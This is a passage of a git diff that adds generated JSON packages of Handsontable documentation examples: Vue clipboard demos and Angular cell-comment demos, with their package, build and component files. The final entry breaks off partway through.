    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/clipboard/vue/example2.vue","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example2","exampleTitle":"Copy with headers","docPermalink":"/basic-clipboard","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example3.vue.json new file mode 100644 index 00000000..06408cc5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Clipboard · Trigger copy & cut programmatically · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/clipboard/vue/example3.vue","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example3","exampleTitle":"Trigger copy & cut programmatically","docPermalink":"/basic-clipboard","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example4.vue.json new file mode 100644 index 00000000..95f67f42 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/clipboard/vue/example4.vue","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example5.vue.json new file mode 100644 index 00000000..b646470d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/clipboard/vue/example5.vue","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example1.ts.json new file mode 100644 index 00000000..b7e7028b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Comments · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-comments',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n { row: 1, col: 1, comment: { value: 'Some comment' } },\n { row: 2, col: 2, comment: { value: 'More comments' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/comments/angular/example1.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/comments","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example2.ts.json new file mode 100644 index 00000000..5d4755da --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Comments · Make a comment read-only · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-comments',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['', 'Tesla', 'Toyota', 'Honda', 'Ford'],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n {\n row: 0,\n col: 1,\n comment: { value: 'A read-only comment.', readOnly: true },\n },\n { row: 0, col: 3, comment: { value: 'You can edit this comment' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/comments/angular/example2.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example2","exampleTitle":"Make a comment read-only","docPermalink":"/comments","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example3.ts.json new file mode 100644 index 00000000..b7c1d856 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Comments · Set a comment box's size · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-comments',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n { row: 1, col: 1, comment: { value: 'Some comment' } },\n // add the `style` parameter\n {\n row: 2,\n col: 2,\n comment: {\n value: 'Comment 200x50 px',\n style: { width: 200, height: 50 },\n },\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/comments/angular/example3.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example3","exampleTitle":"Set a comment box's size","docPermalink":"/comments","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example4.ts.json new file mode 100644 index 00000000..126621b0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Comments · Set a delay for displaying comments · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-comments',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
